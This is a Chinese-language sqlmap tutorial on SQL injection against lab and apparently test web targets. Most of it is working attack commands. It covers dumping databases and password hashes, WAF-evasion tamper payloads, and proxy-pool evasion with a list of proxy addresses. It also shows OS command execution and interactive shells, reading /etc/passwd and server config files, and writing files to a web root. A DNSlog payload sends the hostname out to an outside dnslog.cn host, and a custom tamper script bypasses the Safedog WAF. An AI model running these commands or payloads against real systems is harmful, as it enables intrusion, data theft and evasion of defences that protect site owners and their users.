sqlmap实战使用
由浅入深的写下使用
实战一
检测注入
-u 检测的url
“”双引号 表示这是一段字符串,(存在&符号所以url用引号包起来)
–dbms 指定攻击的数据库类型
-v 输出信息详细程度登记为1
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1
输入之后sqlmap会自动进行注入,但是会有一些进行提示,需要你在终端进行确认
如果使用–batch 会自动进行默认操作,不用进行交互信息确定
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --batch
程序会自动确认进行SQL注入检测,看到存在注入的参数和攻击payload 也会显示注入的类型
可以看到已经给出了结果
获取敏感信息
确定存在注入之后,接着通过获取敏感信息命令获取
–current-user 用户连接的用户
–currnet-db 当前库
–is-dba 是否root权限
–passwords 获取数据库的密码 使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解 如果需要选择合适的字典。
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --current-user --current-db --is-dba
获取所有数据库
–dbs
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --dbs
获取表
获取表之前我们需要指定数据库,根据库列出表
-D 库名 指定数据库
–tables 列出所有表
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu --tables
获取表的字段
获取字段之前需要指定库名、表名
-T 表明 指定表
–columns 列出所有字段
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --columns
也可获取某个库中所有表的字段
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu --tables --columns
获取数据
–dump 是导出数据所有内容
–dump -C “username,password” 获取某些字段的内容
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --columns --dump --batch
非交互模式下使用的是自带的字典,也可设置字典
获取指定条数
获取总条数
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --count
获取指定条数 获取1-3条数的数据
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --dump --start 1 --stop 3 --batch
删除缓存文件
参数:–flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
安全的删除output目录的文件
参数:–purge-output
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
实战二
实战中用的最多的技巧
–technique 使用指定的注入方式
在一些实战项目中,难免会遇上 网络反应缓慢,idc还有检测sqlmap的能力,所以作为一个专业的渗透测试人员,必须做到快准狠。
有些SQL注入点 只允许时间注入,这时指定SQLMAP的注入类型为T
以下是–technique 参数的值的解释
B:Boolean-basedblindSQLinjection(布尔型注入)
E:Error-basedSQLinjection(报错型注入)
U:UNIONquerySQLinjection(可联合查询注入)
S:StackedqueriesSQLinjection(可多语句查询注入)
T:Time-basedblindSQLinjection(基于时间延迟注入)
Q:InlineSQLInjection(内联注入)
使用基于时间的延时注入
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D pikachu -technique T
默认是全部
–time-sec 使用时间注入时,设置延时的返回时间,默认是五秒
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 5 -D pikachu -technique T --random-agent --time-sec=6
设置超时时间
–time-out 这个参数是设置超时时间 有得网页响应比较慢,可以使用这个参数来增大访问超时的时间。默认是30
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 5 -D pikachu -technique T --random-agent --timeout=10
–random-agent 指定使用随机的HTTP user-agent
信息详细为5回显示user-agent头
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 5 -D pikachu -technique T --random-agent
读取文本进行测试
python sqlmap.py -r 1.txt
可以看到吧bp的包放到文件里也成功出结果了
指定参数进行注入
-p 指定需要测试的参数
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -p name
显然submit不是我们需要测试的参数,本着快准狠的原则指定name为测试参数
如果url是伪静态的时 ,可以使用*号表示这是检测的地方
从 URL 结构以及页面名称看,伪静态和 静态页面 是一样的。伪静态的页面后缀可以是 html htm 或者是目录格式.
伪静态只是改变了URL的表现形式,实际上还是 动态页面.。静态页面可以节省服务器资源,而伪静态严格说是增加服务器资源消耗的。
总结,在 SEO 方面,伪静态和 静态页面 的功能是相同的,但是伪静态本质上还是动态页面,所以消耗资源是和动态页面一样的,而且因为 Rewrite 服务器还需要消耗额外的资源。.
python sqlmap.py -u "10.163.193.76/06/vul/sqli/id/1*.html"
这里1就是告诉sqlmap的监测点
POST注入
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -p id -v 1
也能正常出结果
cookie注入
–cookie 输入cookie的请求参数
–level 2或者以上才进行cookie注入
sqllilabs的less21是cookie注入
我们很自然想到uname作为测试点
python sqlmap.py -u "http://sql/Less-21/index.php" --cookie "uname = YWRtaW4" -p uname --level 2
实战三
修改最大线程
lib/core/settings.py
默认最大线程是10 可以设置线程最大为100
MAX_NUMBER_OF_THREADS = 100
修改默认浏览器
实战四 绕过防火墙
目前很多网站都使用waf对网站进行保护,在渗透测试过程中,很多的操作都会被拦截,在测试SQL注入时,waf会对请求过来的流量进行拦截,导致SQLMAP请求的内容无法到达目标,SQLMAP无法判断目标是否存在注入,waf对恶意的攻击请求进行拦截,拦截会拉入黑名单,导致攻击者访问不到目标。无法进行安全检测。
sqlmap存在tamper模块,我们使用–tamper命令选择合适的脚本绕过waf
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name --tamper "space2comment.py" -v 3 --dbs
宽字节注入
unmagicquotes.py
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name --tamper "unmagicquotes.py" -v 3 --dbs
base64注入
base64encode.py
sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";" --dbms mysql --tamper "base64encode.py" -v 4 --level 3
–param-del=”;” 用;分割参数
sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";" --dbms mysql --tamper "base64encode.py" -v 4 --level 3
tampter模块列表
sqlmap –list-tampers
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|---|
all | 1 | apostrophemask.py | 用utf8代替引号 | (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’ |
2 | base64encode.py | 用base64编码替换 | (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’ | |
4 | space2plus.py | 用+替换空格 | (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’ | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters | (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’ | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ | |
8 | securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’” | |
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’ |
2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
4 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
5 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | (‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’ | |
8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ | |
5 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’ | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
8 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’ | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’ | |
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ | |
12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# | |
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# | |
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa” | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | |
unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | ||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
设置线程大小
在遇到waf的时候,如果并发过大,会认为是cc攻击,ip会被封堵
–threads=1 设置线程为1
设置http请求延时
–delay=DELAY 设置每个 HTTP 请求的延迟秒数
使用代理
python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name --proxy=http://127.0.0.1:8081
我们可以在bp上开个端口,让sqlmap的流量经过它
可以看到下图sqlmap的流量过来了
使用代理池注入
购买代理池之后 获取代理 保存到文件内
123.73.208.166:46603
123.73.63.29:46603
123.73.63.84:46603
112.123.40.42:40806
183.47.94.248:38090
121.237.149.88:13804
114.99.108.71:23359
123.73.209.246:46603
123.73.63.132:46603
119.55.253.202:39730
–proxy-file 从文件中加载代理列表
sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt
实战五 命令执行 文件读写 dns盲注
sqlmap命令执行
一般在权限比较高时使用
--os-cmd=OSCMD 执行操作系统命令
--os-shell 调出交互式操作系统 shell
注入点的当前用户是dba时,使用以上两个命令,一个是执行命令,一个是调用交互操作系统shell
sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"
可以看到是SQL server 并且是DBA权限,命令执行成功了
sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell
可以看到弹出了一个交互式shell,可以执行命令,如果可以回显就可以看到返回的命令信息
读取和写入文件
–file-read 读取文件 读取文件首先要知道路径,才能读取
sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-read="C:/Windows/System32/inetsrv/MetaBase.xml" --threads=10
C:/Windows/System32/inetsrv/MetaBase.xml 可以换成其他文件路径 如果是linux 可以读取/etc/passwd
读取后的文件在路径给出了
–file-write 写入文件
–file-write 目标路径 –file-dest 文件路径
write写本地要写入的文件路径,dest写网站服务器上的文件路径
sqlmap.py -u "http://www.dm1.com/inj.aspx?id=1" --file-write="C:\Users\Administrator\Desktop\1.txt" --file-dest="C:\Hws.com\HwsHostMaster\wwwroot\dm1.com\web\1.txt"
执行完后发现多了个1.txt
dnslog盲注
适合没有回显时,把注入数据发送到远程dnslog上
–sql-shell 调用sql交互shell,可以执行sql命令
declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'.2kbg3j.dnslog.cn';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')
可以看到hostname拿到了
实战六
编写tamper模块绕过waf
首先我们要判断waf的厂商,新版sqlmap回自动执行waf检测
sqlmap.py -u "http://www.p2.com/inj.aspx?id=1" -v 1
在SQL注入中,经常会遇到各种厂商的waf,绕过之后经常手工提交,这样显得特别慢,特别是要注入得到数据的时,手工获取的信息太慢,这个时候可以用编写sqlmap的tamper模块进行注入,自动化进行操作,这样就方便得多了。
这里是的waf是安全狗
拦截了http user_agent头,我们用–random-agent绕过了
sqlmap.py -u "http://www.p2.com/inj.aspx?id=1" -v 1 --random-agent --dbs
可以看到出了库,但是当查表时发现sql查询没有返回东西
觉得应该是sql语句的问题,做了拦截
分析得到绕过安全狗的payload
--/*%0a这里是你的填写你的注入语句--%20*/
这里的原理
可以看到命令被执行,注释里面的没有执行,我们在*后加个enter符号
可以看到注释里面的东西被执行了
%0a即回车,我们把注入语句放到里面就会被正常执行了
写好的tamper模块
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW # 优先级设置
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) #描述
# tamper函数为自定义你的payload
def tamper(payload, **kwargs):
payload=payload.replace('AND','--/*%0aAND')#关键词替换
payload=payload.replace('ORDER','--/*%0aORDER')
payload=payload.replace('UNION','--/*%0aunion')
payload+='--%20*/'#追加字符串
return payload #返回最终的字符串
我们使用它即可绕过iis
sqlmap.py -u "http://www.p2.com/inj.aspx?id=1" -v 1 --random-agent --tamper bypass_safe_dog.py --technique=U -D Angelcms --tables
可以看到成功绕过了
暴力穷举
在access和mysql4.0数据库 没有内置库,针对这类数据库sqlmap使用字典穷举的方法对表进行猜解。
sqlmap内置的字典
sqlmap.py -u "http://www.dm3.com/Content.asp?id=9" --dbms access --tables
这里询问字典,1是使用系统自带字典,2为自定义字典
出来表后我们继续穷举字段
sqlmap.py -u "http://www.dm3.com/Content.asp?id=9" --dbms access -T i_user --columns
sqlmap.py -u "http://www.dm3.com/Content.asp?id=9" --dbms access -T i_user -C "u_id,u_pass,u_user" --dump